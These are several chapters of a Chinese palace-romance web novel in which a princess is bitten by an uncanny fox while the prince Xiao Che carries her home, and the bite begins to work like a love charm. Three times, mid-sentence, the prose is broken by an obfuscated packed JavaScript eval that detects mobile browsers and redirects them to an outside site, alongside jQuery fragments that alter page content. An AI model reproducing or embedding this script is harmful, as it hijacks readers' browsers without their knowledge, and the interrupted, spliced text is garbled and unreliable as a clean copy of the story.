《诱娇》 7. 第 7 章 照理说,骊山上遍地走兽,看到一只野狐并不奇怪,怪就怪在那只野狐看她的眼神。 那样的眼神,并不像一只小动物看人时的眼神,反倒是令她想起了她从前这么作势与萧彻打闹时,那些爱慕萧彻的世家小姐们看她的眼神。 这并不奇怪,她与萧彻向来不对付,她脾气又算不上好,他又总爱闹她,与她作对,有时被萧彻气狠了,上手使劲掐、打他也是有的。 至于萧彻,他从来不会还手,因此两人之间的打闹,不过他是笑着在一旁看她闹罢了,若真算起来,还是他吃亏了。 眼看着心上人被这样作践,那些爱慕他的世家小姐,自然看不惯她,因此她们看她的眼神并不友善,她完全能够理解,可是一只狐狸,怎么也用那样的眼神看她? 一个极荒谬的念头在脑中盘桓,更荒谬的是,她居然将这个念头给说出来了—— “喂,萧闻祈,你身后有只野狐。” “嗯?” “它好像……爱慕你。” “什么?”萧彻皱眉,见她神情认真,突的一声笑了出来:“狐狸?爱慕我?颜嘉柔,你脑子是坏掉了么?” 他眯起眼眸,笑容里多了分促狭与玩味:“是前阵子看那些市井话本,把你这原本就不怎么聪明的脑袋给彻底看坏掉了么?” “你……你不许提那茬!” 话本里的确有不少狐狸精与俏郎君的风流韵事,既说到狐狸,萧彻想到这上面去倒也正常,只是她前阵子在这上面翻了个大跟头,极不愿意他提起这事! 事情是这样的,她一贯爱看些时下流行的话本,前阵子便有一本特别风靡,主要是这男主人公画像特别俊美,因这类话本受众都是些姑娘家,这男主人公画得好,自然大卖。 颜嘉柔也跟风去买了,不知怎么,竟觉得那男主人公颇有几分眼熟,可当下也并未多想,只觉越看越喜欢,也跟别的姑娘小姐家一样,成了这男主人公的追随者,将自己代入到女主人公的角色中,以他夫人自居,唤他一声夫君。 结果她这边跟几位官家小姐夫君长夫君短的浑叫,不多时便听闻一个噩耗——这位男主人公的肖像图设,是以萧彻为蓝本画成的。 老天,怪道这画像的细节那么逼真呢!根本不像是凭空杜撰的人物!原来竟是有蓝本的…… 有蓝本也就罢了,好死不死,居然是以她死对头为蓝本! 这也就罢了,偏她事先还毫不知情,喜欢得不得了,这叫她情何以堪! 她觉得自己被无良话本商贩给狠狠欺骗了感情!哪有这样偷懒的,竟然以真人为蓝本临摹! 以上这些都罢了,最要命的是,这事居然辗转传到了萧彻的耳朵里,其实她后来才知道这类事情不是第一次发生了,但萧彻向来懒得搭理,偏偏这次牵扯到她了,便非得抓住不放了。 那段时间每次见到她,便要走到她跟前,似笑非笑地在她面前问上一句:“夫君?”不把她臊死不肯罢休。 看吧,他便是这样针对她,对旁人可不这样,可见是有多看不惯她——萧彻这个人,简直是讨厌透顶! 回过神来,颜嘉柔越想越觉得羞愤欲死,忍不住狠狠踩了他一脚,再次凶巴巴地警告道:“不许再提那件事,听到了没有!” 萧彻抬眉,唇角微勾,似笑非笑:“哪件事?是你整日里不好好读书,净看那些不正经的话本,还是,你叫我‘夫君’那件事?” 颜嘉柔腾的一下闹了一个大红脸,恼羞成怒道:“谁叫你‘夫君’了?萧彻,你胡说八道什么,少毁我清誉!” “哦?对着以我为蓝本的小像叫夫君,清河公主,你讲点道理,到底是谁毁谁清誉?” 颜嘉柔不想跟他讲道理,只想快点让他闭嘴,于是伸手去捂他嘴,并趁机上手打他、掐他几下泄愤。 萧彻只是抱臂笑着在一旁看她,纵容着她胡闹,任她施为,偶尔她实在失了轻重,才会“嘶”地一声,觑她一眼,语调半真半假地道:“怎么,谋杀亲夫啊?” 颜嘉柔气得又要举起手去打他,其实大多时候也不过装装样子,想起先前已经失手打了他一巴掌,这一巴掌到底没打算落下去,只是在旁人看来,却像是个气势汹汹的模样。 这里自然没有旁人,却有旁狐。 颜嘉柔做梦也没有想到,她正准备放下手时,余光却瞥见萧彻身后的那只野狐突然弓起身子,竖起毛发,眼神透着一股凶劲,正龇牙咧嘴地盯着她,像是随时要朝她扑过来。 还未等她多想,下一刻,野狐像是为了印证她的猜想一般,凌空纵身一跃,便朝她袭来。 一切都发生得太快,野狐身量娇小,模样甚至算得上是可爱,不像寻常猛兽能第一时间引起萧彻的警惕,也因此,尽管他所有的注意力都在颜嘉柔身上,却仍未第一时间察觉到这个潜在的危险。 在他看来,这玩意儿跟颜嘉柔喜欢的小兔子没什么分别,他甚至还想捉了拿去逗她,直到颜嘉柔吃痛得发出一声尖叫。 ——那只看似人畜无害的小狐狸,竟张嘴咬了颜嘉柔! 咬完之后它转身最后看了一眼萧彻,不知是不是他生了恍惚,不过一息之间,小狐狸竟像是凭空消失了一般,竟再也没能在密林中搜寻到它的身影。 原本它咬了颜嘉柔,他必然是要捉住它让她出气的,只是这一下却让它凭空在眼皮子底下溜走了,然而这种关头,他究竟也是顾不上它,连忙蹲下察看颜嘉柔地伤势:“怎么样,疼不疼?” 颜嘉柔向来娇气,平素是一点痛都受不得,这次莫名其妙被野狐咬了一口本就委屈,先前人还懵着,这时后知后觉回味过来了,又被萧彻这么一问,再也受不住,眼睫一颤,豆大的泪珠便落了下来:“……疼……” 萧彻皱眉,立刻搀扶她坐下,褪去她的鞋袜,仔细察看她的伤口。 伤口在脚踝上一寸,不过是一只狐狸,照理不见得有多锋利的爪牙,伤口却极深,齿痕宛然,鲜血浸透了帛袜,她皮肤新雪似得白,便愈发显得伤口触目惊心。 萧彻的眉心越蹙越紧,下颌紧绷,一面连忙从衣摆处扯下一根布条,动手替她包扎。 颜嘉柔从小被几位皇子保护得极好,从未受过什么伤,哪里见过这样的场面,一时间吓坏了,偏腿上的疼痛越来越明显,钻心一般。 通常身上哪里疼,总归心情是不好的,心情一不好,脾气也就大,何况她自小被宠坏了,一贯是大小姐脾气,在别人,尤其是萧珏面前,倒还收敛着点。 但一碰到萧彻,坏脾气总是暴露无遗,反正她向来跟他不对付,他那么讨厌,她有什么好收敛的,当下便发作道:“走开,我不要你包扎,愈发疼了!” 萧彻抬头看了她一眼,喉结滚动,少见的没同她拌嘴,只道:“听话,忍一下。” “不要,说了不要你假好心了!萧彻,都怪你,这样深的伤口,多半要留疤了!我不要留疤……而且好疼啊,我从小到大,几时受过这样严重的伤?这都要怪你,若不是你,那狐狸怎会咬我?” 起先萧彻并不反驳,直到听到那句“若不是你,那狐狸怎会咬我”,这才抬起了头,皱眉反问:“我作为兄长,没看护好你,致使你受了伤,这确实是我的错处。可那野狸咬你,又并非我教唆,与我有什么干系?” “就是有干系!”颜嘉柔凑近了他,她的眼睛是标准的荔枝眼,圆润饱满,瞳仁又黑又大,看人时眼神异常得亮。 这样的眼睛,瞧着并不是多精明的眼睛,算不得聪明,但却足够可爱漂亮,惹人怜爱。 配上她白皙圆润的鹅蛋脸,颊边笑时显露的梨涡,更显娇憨甜美。 只可惜,萧彻鲜少能看到她的梨涡——她并不怎么对他笑。 她便是用这样一双明亮的眼睛,极为认真地看着他。 本来是怪力乱神、玄而又玄的东西,此时却被她说得煞有其事:“我说了,那狐狸爱慕你,它看你的眼神,就如同那些世家小姐看你的眼神,一般无二。” “它看不惯我欺负你,所以才咬我为你报仇呢,就像那些世家女给我使绊子一样,类似的招数,我早就领教过了,又怎会不清楚——萧闻祈,这全是托你的福。” 萧彻眉心蹙起,目光随之冷淡了下来:“托我的福?颜嘉柔,你非要这么阴阳怪气么?并非是我做的事,却偏要怪到我头上,你就这么讨厌我?人也就罢了,一只狐狸,你说它咬你也是因为我,不觉得荒谬?" ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800818|158405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他冷笑道:“我说你脑子被那些不正经的话本给看坏掉了,可真是一点都没说错。” 颜嘉柔便是吃软不吃硬,他这般语气,她更是要挑拣着恶毒的话来刺他:“我讨厌你这件事,你是第一天才知道么?怎么,我有说错么?不是因为你,她们无缘无故会来针对我?” “你便是什么都没做,站在那里就是错了!要不怎么说你们兰陵一族,有蛊惑之能,天生便是祸水呢,你的血统,生来便会给人带来厄运!” 她也是在气头上,颇有些口不择言了,话刚说出口,注意到萧彻脸上的血色尽褪,便有些后悔地咬舌头了:“我……” 萧彻只静静地看着她,良久不曾言语,这样透着诡异的静寂终于使颜嘉柔嗅到一丝不安,她察觉到这回萧彻是真的生气了。 再开口时,他自嘲地笑了下,嗓音透着一种漠然的冷平:“原来,你也是这么看我的。” “跟朝中那帮玄陇党派的大臣一样,觉得我是亡国之后,生来不吉,又背负着祸国传言的诅咒,即便是皇子,那也是为人所不齿的。不比太子和二哥,是清河崔氏,崔皇后所出,血脉正统尊贵……呵,怪不得。” 他面无表情地看了她一眼,霍然起身,居高临下地道:“既然如此,我就不在这儿碍你的眼了,免得给你招来什么厄运。” 说完转身就走。 颜嘉柔呆住了。 等回过神来后,连忙朝着他的背影大叫道:“喂,萧彻,你不管我了么?你要……把我一个人扔在这儿?” 她的腿被那该死的狐狸狠狠咬了一口,实在痛得厉害,若是无人搀着,根本寸步难行,如今这里只有她和萧彻,若是萧彻不管她,便再也没有旁人管她了。 萧彻一走,她岂非要一个人留在这儿?这荒山野岭的,指不定有什么猛兽出没,就算没有别的猛兽,单是之前的那只坏狐狸,若是萧彻走后,它又回来找她麻烦,往她另一条腿上咬上一口,也够她受得了! 不要了,她实在害怕…… 她开始后悔激怒萧彻了,其实那并非是她的本意,不过是与他吵架时一时口不择言罢了…… 萧彻脚步一顿,刚想回一句他已经听到脚步声渐近,想必是父皇的人过来寻他们了,他在或不在,她都不会没人管,可还没说出口,便听到身后传来少女断断续续的呜咽声:“三哥哥,我错了好不好……别不管我……我害怕……” 他回头一看,见方才还趾高气扬的小姑娘此时已完全换了一副模样,眼圈泛红,浓睫上坠着泪珠,一双黑白分明的眸子水光潋滟,蒙着一层雾气,仿佛远山含黛,楚楚动人。 贝齿轻咬着红润鲜妍的唇瓣,雪白饱满的一张脸,婴儿肥未褪,脸颊鼓鼓的,像一颗剥了壳的荔枝,甜美多汁。 哭腔带着轻颤地叫着他,仿佛是他怎么欺负她了似得。 萧彻眉尾几不可察地一抬,唇角微哂。 这就是颜大小姐,倒是能屈能伸。 三哥哥?她有多久没这么叫过他了? 也只有有求于他的时候,她才会这般半是撒娇半是恳求地叫他。 只是尽管洞悉了她的把戏,小姑娘家家,且是个不太聪明的小姑娘,那点心思全写在脸上了,能瞒得过谁呢?可她叫得……实在好听。 他到底还是朝她走近了,唇边噙了一丝笑,问她:“叫我什么?” 颜嘉柔雪白的面颊上渐渐浮上一点胭脂色,跟死对头服软总是丢脸且难堪的,可眼下她有求于他,只得不情不愿地又叫了他一声:“三哥哥……” 萧彻便喜欢看她这般不情不愿,却又有求于他,不得不对他低头的样子,心中的气已消了大半,但还是半屈膝配合她蹲下身,故意问她道:“不是觉得我血脉不吉,是天生的祸水,会给人带来厄运么?” “没……没有……怀璧其罪,又怎么能怪你呢?” 萧彻嗤了一声:“你话锋倒转得快,便这么怕被我丢下么?” 他慢慢笑了起来,他笑起来是极好看的,她每见他笑一次,便要在心里感慨一下兰陵一族的传言果真不虚。 此刻见他对着自己笑,颜嘉柔却觉预感不好。 果然见他眉尾一扬,道:“那……求我啊。” 8. 第 8 章 “你……”可恶。 萧闻祈这个人,还是一如既往的讨厌!得寸进尺! 不过罢了,她想,反正她已经对他低头了,既然如此,也不差再多低一点儿:“求……求你了……” 萧彻抬眼,唇边的笑意更深了:“今日倒乖觉。” 他看着她:“我扶着你,能走么?” 颜嘉柔将手搭在他的胳膊上,尝试着借他站起来,可刚一用力,伤口处便传来一阵钻心的疼,疼得她小脸煞白:“不……不能……疼……” 颜嘉柔向来娇气,有此反应他也不意外,转过身朝她压低了背,道:“上来,我背你。” 萧彻宽肩窄腰,肩背宽阔,线条也好看,看上去很好靠稳当的样子……但是,真要让他背她么? 正犹豫间,脚一动,便是一阵要命得疼…… 她确实吃不了一点苦,在受罪和丢脸之间,她还是很不争气地选择了后者。 ——反正今天丢的脸已经够多了,也不差这么一点儿。 她挪过了身子,颤颤地伸出手臂,圈住了萧彻的颈项…… 萧彻勾唇,托着颜嘉柔的身子起身。 颜嘉柔软绵绵地趴在他的脊背上,下巴枕在他的肩颈处。 鼻尖萦绕着他身上淡淡的沉水香,颜嘉柔耳廓微热,费力地撑起身子,想要不挨着他那么近。 萧彻挑眉:“怎么?” “没……没什么……”颜嘉柔红着脸小声嘟囔道:“我怕我太压着你……你更觉得我重了……” “什么?”萧彻轻笑:“你才多重一点儿?背你跟拎只小兔子有什么区别?” “我还不至于那么虚。” 颜嘉柔懵了一瞬,声音闷闷的,敢怒不敢言:“……那你之前,还说我胖……明明是你自己说的。” “笨蛋,逗你的话,你也尽信?小孩子家家,肉多一点,也并没有什么不好。” “什么啊。”颜嘉柔控诉道:“我不是小孩子了好不好,我已经及笄了!” “哦?”萧彻不知道想到了什么,眸光暗了一瞬,若有所思道:“是长大了。” 既然萧彻不觉得她重,她也就没什么顾忌地压在他身上,他的肩宽,背薄,身上的气息又好闻,靠在上面还是很惬意的。 人一放松下来,话就开始变得多,颜嘉柔不知道想到了什么,忽然问:“萧彻,你是不是喜欢沈嘉琅?” “什么?”萧彻皱眉:“哪个沈嘉琅?没印象,谁跟你说我喜欢她?” “你不记得她啦?国子监祭酒沈大人的嫡次女呀,你上回校场赛马,中场歇息时,她还给你递过茶水呢。” 萧彻语气冷淡:“不记得了。提她做什么?” “唔,我以为你喜欢她呢,她是那群世家小姐中身前最瘦的了。” “什么?”萧彻愣了一下,忽然反应过来,好笑道:“你还记得我说你身前胖的那件事?你就那么在意?” 颜嘉柔“哼”了一声,扭过脸道:“我才没有,我只是随口问问!”又慢慢把脸转过脸,到底还是好奇:“你不是不喜欢身前胖的么,沈嘉琅身前瘦,你怎的也不喜欢?” “谁说我不喜欢身前胖的?” 颜嘉柔眨了眨眼,懵懂道:“你刚才明明……” 萧彻轻笑:“都说了,逗你的话,怎可尽信……我不喜欢的,从始至终都是你对我……算了。总之你方才那般姿态,避我如蛇蝎,我当然也不会说什么好话了,难不成我还要说喜欢么。皇妹,我还没那么贱。” 颜嘉柔似懂非懂:“那你其实就是喜欢了?”问完却恨不得咬掉自己的舌头,真奇怪,他喜不喜欢她的……那个样子,关她什么事?她根本一点都不在意。 她自觉问错了话,趁萧彻尚未反应过来前连忙咳嗽一声转移话题:“萧闻祈,说起来,你刚才瞧见那只野狐的模样了么,它的额头有个流焰印记,这是寻常狐狸所没有的。我看它可不是一只普通的野狐。” "都说骊山是龙脉所在,灵气汇聚之地,有不少珍奇走兽,大有灵性,说不定那只野狐便是头灵兽,能通人性,真的,它看你的眼神我在许多人眼里看到过,譬如方才说的那个沈小姐……” “啊,说不定那只野狐再过几年便能幻化成人,做狐狸精呢,我看啊,届时它一定会下山来找你,你怕不怕?" 萧彻轻扯了嘴角,只道:“皇妹,少看点话本吧,你说你的脑子原本就算不上聪明,再看那些乱七八糟的话本,岂不是雪上加霜么。” “萧闻祈,你笑话我!我是认真的!那狐狸浑身上下透着古怪,你究竟看没看到它的模样,通体雪白,偏额头一枚流焰印记,鲜红如血,盯久了,那枚印记竟像是会动,真像是燃烧的流焰,你不觉得奇怪么?” “而且它看你的眼神,真如女子一般,这样的眼神我见过太多,不会弄错的。” 萧彻原本只当她是戏言,但见她语气认真,也不由得开始回忆起那只野狐的模样,这一回忆,却真觉出几分眼熟。 他似乎,曾经见过这只狐狸。 不对,熟悉的不止是那只狐狸,还有那句“它看你的眼神,竟如女子一般”……是了,这句话,燕骁也曾对他说过。 那是一年前的事情了。 一年前他也曾上骊山狩猎,随行带了燕骁,燕骁是将门之后,他的父亲燕山教过萧彻骑射,算是他的老师,他和燕骁一起长大,自幼熟识。 后来,燕山战死,燕家兵权被收,燕骁也因为得罪了崔皇后的外戚差点被流放,还是萧彻的生母江贵妃江沉鱼出面替他求情,虽则后宫不得干政,但魏元帝对江贵妃的宠爱已经到了无有不应的地步,何况燕骁与萧彻又有这样一层少时情谊在,江贵妃以此为由,倒也师出有名,教人抓不到错处。 说起来,魏元帝对江沉鱼的宠爱,已经到了匪夷所思的地步。 她不用勾心斗角,只需站在那里,就可以得到皇帝的全部宠爱。 若是没了江沉鱼,恐怕魏元帝连这皇帝也不想当,这天下也不想要了。 正因如此,以崔守阶为首的玄陇党派,虽然对江沉鱼有诸多不满,但因深知魏元帝的秉性,到底也只得作罢。 只一点,太子人选必须是嫡出,这点他们不肯有丝毫的让步。 魏元帝爱屋及乌,自然是想立萧彻为储,但阻力太大,满朝官员,但凡是立下开国战功的,哪个手上没有沾染过前歧皇室的血? 而萧彻血统成谜,若江沉鱼真是前朝的歧国公主,那让她的儿子当了皇帝,魏朝岂不是乱套了吗? 若传言是真,萧彻身上有着两朝皇室的血脉,一旦他登基为帝,前歧兵不血刃,不费一兵一卒便能复辟,那置他们这些开国功臣于何地?这岂不是天大的笑话? 这也是玄陇党派所万万不能容许的。 魏元帝无法,只得立萧珏为太子,双方各退一步,这已是当下对双方最好的局面。 不能立最爱的儿子为储,魏元帝虽觉遗憾,但也仅限于遗憾而已,毕竟他最爱的人,是江沉鱼,只要她能一直陪在他身边,旁的倒也没什么太大的要紧。 甚至于因此觉得亏欠江沉鱼,而对她越发宠爱。 有次江贵妃染了风寒,虽是小病,但传了许多太医,吃了许多药,却一直不见好,再拖下去,只恐小病拖成病,魏元帝心急如焚,不知从哪里听来一个偏方,说是要以龙肉为药引,再辅以药材,方能药到病除。 可龙不过是传说中的珍禽异兽,世上又有几人见过真龙? 寻不到真龙,就取不到药引,救不了他的爱妃,走投无路之时,竟想到自己贵为人皇,岂不正是真龙天子吗? 遂剜下自己手臂上的肉替江沉鱼煎药,龙体贵重,一丝一毫都不可有闪失,可他竟然为了一则不知真假的偏方如此戕害自己的身体,这事传出去后,满朝哗然。 吏部尚书兼右仆射崔守阶,不仅位于云霄阁三十六功臣之首,更是与魏元帝相识于微时,是布衣之交,情谊非同一般,后来魏元帝又立了崔氏女为后,两人关系更进一步。 平时魏元帝在政事上有何决策,都会征询他的意见,唯独事情牵扯到江贵妃,他始终一意孤行。 崔守阶知道这事后,劝谏无果,气得在家病了整整七日,七日不曾上朝。 这事传到民间,当时引起不小轰动,许多女子以此试探夫君的真心,帝王之爱尚且能割肉救妻,你难道还不能吗? 可事实上,这世间千万男儿,却并没几个男子能做到如此地步。 魏元帝对江贵妃的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800819|158405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宠爱可见一斑。 她保下燕骁后,燕骁成了萧彻府中的随侍,平素陪他骑马练剑。 等风头过去后,她又帮他在军中谋了个职位,后来有一次魏元帝在巡视军营时遇刺,据说是有前朝的余孽埋伏,正值危难之际,燕骁替他挡开了那一剑,他也因救驾有功被擢升为亲勋翊卫校尉。 燕骁是将门之后,自幼习武,一柄燕家枪使得出神入化。 燕山因军功累累引得魏元帝忌惮,被卸兵权,但燕骁那时年纪尚小,并未太露风头,魏元帝对他印象本就不是十分深刻,救驾后更是消除了其对他燕家后人的防备。 燕骁之后一步步取得他的信任,又有江沉鱼为其美言,不久便被升为亲勋翊卫中郎将,掌管宫中北衙禁军。 至此之后燕骁与江贵妃母子渊源更深,燕骁既是萧彻的玩伴、挚友,亦是他母亲的心腹、臂膀。 去年燕骁陪萧彻一同前往骊山狩猎,萧彻机缘巧合下从一头鬣狗嘴下救下一只狐狸,也是鬼使神差,见那狐狸眼中含泪,似乎颇有人性,便动了恻隐之心,弯弓一箭射穿了鬣狗的头颅。 而被他救下的那只狐狸,通体雪白,偏额间一枚流焰印记,灼灼欲燃,如今回想起来,似乎正是咬伤颜嘉柔的那一只。 而燕骁在看到那只狐狸时,也说了与颜嘉柔一样的话——“你看那只狐狸看你的眼神,竟如那些女子一般,我说萧闻祈,你的桃花不光越来越多,还越来越邪门了啊。” 萧彻懒得搭理他,掀了眼皮瞥了他一眼,只道:“我看你才是越来越邪门了,那只是一只狐狸,你疯了么?” “诶,话可不能这么说,”燕骁忽然凑近,压低了声音,颇有几分神秘地道:“你忘了么,这可是骊山,传言龙脉所在之地,大有灵性,这山上的飞禽走兽可与寻常山头的大不一样,它们常年吸收龙脉之气,或已修成半精半怪,也未可知啊。” 萧彻抬头,认认真真地看向燕骁,眉尾抽搐了下:“你疯了么燕骁,这样神神鬼鬼的话你也信?” 燕骁只诡秘莫测地一笑:“这大千世界,无奇不有,有些事情你未曾见过,便断定没有,有时也未免太过武断了——你以后,就知道了。” 燕骁早年跟随燕山游历四方,看遍山河,他去过西北的绝域,也见识过蜀中的风土人情,甚至还去过湘川苗疆,见过巫蛊祝祷,他的见识的确非常人能比。 原本他说的一些异闻萧彻自然是信几分的,但说那只狐狸看向他的眼神,如女子一般,实在太过荒谬。 一只狐狸而已,怎么可能用那样的眼神看他?难不成修炼成精怪了? 燕骁却道:“还真未必……我从前跟随父亲游历蜀中的时候,听一位老者讲过,这世上但凡灵气汇聚之地,往往有一些走兽能通人性,修成半精半怪,其中狐狸尤甚,有一种白狐,通体雪白,但额间却有流焰印记,这正是修成半精半怪的标识。” “啧,这个描述,不正与刚才那只狐狸一般无二么,我可听说,那种狐狸颇有淫性,最喜俊美男子,见之非得与之交合,否则决不罢休,完了萧闻祈,你还救了它,它不看上你才怪,你可当心它来找你,哈哈哈……” 萧彻:“…………” 他冷冷淡淡地看他一眼,再也懒得搭理他,径直往前走:“有病就去治。” 燕骁笑着牵马追了上去,仍半真半假地道:“别不信啊,我还听说,这狐狸因只修得半精半怪,化不了人形,便将对男子的瘾念附予旁的女子身上,如何附予呢,或咬一口,或挠一下,这瘾念便如附骨一般,融入那女子骨髓,使其对那男子欲罢不能,再也戒他不掉。就像是湘黔一带的蛊术,最神奇不过。” “你是说这狐狸会下蛊?燕骁,这话也亏你能编的出来——我说,你不去茶楼当说书先生,讲些志怪异谈,实在是屈才了。” “别不信啊,蜀中的地怪志上可都有记载……可见不是子虚乌有……” …… 萧彻回过神,后知后觉反应过来,方才那狐狸,似乎正是去年与燕骁遇见的那一只…… 回想起燕骁那一番话,当时只觉得荒唐,很快便抛诸脑后,如今机缘巧合想起来,依旧觉得荒唐。 因此他也并没有多想,只是觉得再遇见那只狐狸颇为巧合。 9. 第 9 章 背上的颜嘉柔絮絮地跟他说着什么,似乎是在为刚才的口不择言而别扭地道歉:“……其实,你的血统也没什么不好,兰陵族人,一个个都是又好看又聪明,骑射也好,总之凡事都异于常人,别人羡慕还来不及呢……” “至于祸国的诅咒,这种子虚乌有的东西,我是不信的,萧闻祈,你难道要信这种东西,把自己困在可笑的谣言里么?” “什么祸国诅咒,不过是兰陵一族的女子,一个个都生得绝色,令君王魂牵梦绕,君王自己不勤政事,贪恋美色,一旦亡国,那些后世的史官便把过错归结于女子身上,说她们是祸水,诱使国家灭亡,口诛笔伐,才会一步步演变成祸国的诅咒……” “后来兰陵一族建了歧朝,皇室大多都是兰陵族人,自那以后,这样的流言才渐渐止息,谁想到,歧二世而亡,于是流言卷土重来,变本加厉……” “可是说起来,是君王自己不勤勉英明,又关那些兰陵女子什么事呢,所以……嗯,总之,我没有瞧不起你的血统!” 萧彻弯起唇角:“你是,在跟我道歉么?” 很多年前,颜嘉柔也对他说过类似的话,只不过那时候年纪小,倒是说不出这么一套一套的,只不过意思没有变——他没有错,也没有低人一等,他的血脉也从不卑贱。 那个时候刚好流言传出来,说江沉鱼是前朝的歧国公主,于是连带着他,一时之间也都成了前朝余孽,原本他们兰陵一族的身份,已经让他们备受偏见,这个传言一出来,他们母子二人在宫中更是举步维艰。 魏元帝彼时注意力都放在怎么保护他的爱妃身上,至于被爱屋及乌的萧彻,自然无暇顾及。 在宫中,人人都可以明着暗着欺负他。 反正当时所有人都认为,江贵妃虽然颇受帝宠,但以她的身份,魏元帝很难顶住压力,她迟早都会被废——既然江贵妃都会被废,那么萧彻的下场可想而知。 宫中人人都是拜高踩低,一个注定被废弃的小主子,连奴才也比不上,何况兰陵一族,本就祸国不详,江贵妃妖媚惑主,她的儿子长大后也必定不是善茬。 宫中生活如履薄冰,压抑沉闷,萧彻的身份和血统好像给了他们一个可以作恶的正当借口,他们肆无忌惮地向着萧彻宣泄着经年累月的压抑。 加上他那个时候不过是个孩童,并无反抗能力,只能任人欺凌。 那一次,是颜嘉柔救了他。 粉雕玉琢的一个小女童,不知是什么来头,只隐隐听说其父对圣上有大恩,圣上对她十分看重,宫人自知得罪不得,一时做鸟兽状散去。 他永远不会忘记那一天。 一脸稚气、刚学会走路的小女娃,用软乎乎的嗓音安慰他,在得知他被欺负的原因后,说道:“哥哥别难过,那都是他们的错,我爹爹说了,唔……” “对,万物有灵,众生平等,怎么能因为你是什么兰陵族人就欺负你呢,你可是皇子,怎么会卑贱呢,宫中的皇子和公主不是最尊贵的么?你可不要因为他人的话自己看不起自己……这不是你的错……” 对,这不是他的错,血统与生俱来,并不是他能决定的。 他忽然如释重负,豁然开朗。 他抬头看向她。 淡如水的阳光照在她的脸上,她对着他甜甜地笑,现出颊边一侧浅浅的梨涡。 他忽然生了一种晕眩,阳光似乎透过她的脸直直地射进他心底最隐秘的角落,驱逐了所有的阴霾。 也就是从这一刻起,在他心里,她便与旁人不一样了。 那时的她就像一个小太阳,替他驱散了乌云,只可惜她这颗小太阳,很快就温暖别人去了。 他已经很久没感受过她的暖光了。 直到今日,才依稀又得以重温。 他便知道,即便这些年他们之间的关系越来越紧张,她也总是对他说不出什么好话,但是骨子里却一直没变,她永远都是当年那个心地善良,愿意毫不吝啬地给予他善意、抚平他内心伤痕的小姑娘。 颜嘉柔别扭的道歉被他拆穿,脸上挂不住,鼓着脸颊扭过头道:“才没有,我只是在安慰开解你好不好……我只是实话实话,兰陵族人的血统,本来就没有那么不堪,如今不也有许多人喜欢你么……” 萧彻扯了唇角:“安慰开解?你说有许多人喜欢我,那也只不过是看我母妃圣眷正浓,父皇也偏爱我几分,所以不会再像从前那般敢光明正大地瞧不起我……” 他讽刺一笑:“抑或是觉得她们看不起的兰陵血统,皮相却有几分可取之处——可归根结底,并没有半分真心。” “谁说没有真心的?”颜嘉柔忽然放轻了声音,附在他耳边,一本正经地道:“我对你,就是十足十的真心。” 萧彻脚步一顿,林间微风拂过,一瞬间,似乎万籁俱寂,他只听得到耳边细微的风声。 他忽觉喉头凝涩得厉害,滚动了一下喉结,良久才道:“你说什么?” 颜嘉柔噗嗤一声笑了出来,神情有一种得逞之后的得意之态:“真心讨厌你呀!谁教你总欺负我!” 萧彻唇角平直,状似不以为意地轻嗤了一声:“我就知道。” 颜嘉柔脸颊鼓鼓的:“哼,你怎么对我的,你当然知道了!” “不过是礼尚往来,皇妹,你整天都围着太子转,对我可也没好到哪里去。” 颜嘉柔一怔:“那……那还不是你欺负我……算啦,不说这个了……”反正他们两个谁都不会主动低头,这是个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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往常他这么说,颜嘉柔肯定会和他拌几句,可这回他等了半天,却迟迟没有动静。 萧彻“嗯?”了一声,偏过头去看她:“皇妹?” 却发现她呼吸平稳,居然在说完那句话后,已经睡着了。 这本就有几分不寻常,更不寻常的是,萧彻原本以为,她能在这么短的时间内睡着,想必是累到了极点,轻易不会醒来,不料他才往前走了没几步,背上忽然起了一阵动静。 ——颜嘉柔醒了。 萧彻蹙眉:“怎么这么快又醒了?” 他因背对着她,并没有注意到她此刻异样潮红的脸色。 10. 第 10 章 “我……” 颜嘉柔甫一张口,便漏出一声破碎的呻//吟,她连忙咬紧了唇瓣。 她是被身上突然泛起的异样感受给折磨醒的。 从伤口处开始,渐渐蔓延到四肢百骸,像是有千万只蚂蚁在游走,泛起一种陌生而隐秘的痒意与躁动。 她的眼神逐渐变得迷蒙湿//^润,眼尾泛着薄红,整个脑袋一片混沌,下巴枕在萧彻的肩上,歪过头,唇瓣无意识地轻擦着他的颈侧。 萧彻神情微滞,偏过头去看她:“怎么了?” “我……我难受……” “难受?” 她嗓音本就轻软,如今带着不明显的哭音,如泣如诉,又仿佛是在撒娇,小猫似得挠过心间:“痒……难受……” “痒?伤口痒?”萧彻皱眉,喃喃了句:“奇怪,才刚被狐狸咬伤,伤口该是疼,怎么反倒是痒?难不成那狐狸真有古怪?” 他曾经听闻一些野兽得了疫症或某种怪病,便能过人,被咬一口亦能感染,颜嘉柔觉得伤口痒,会不会便是被过了某种怪病,念及此,萧彻脸上神情冷凝了几分,原本背着她,故意磨着慢慢踱,此刻却加快了脚程。 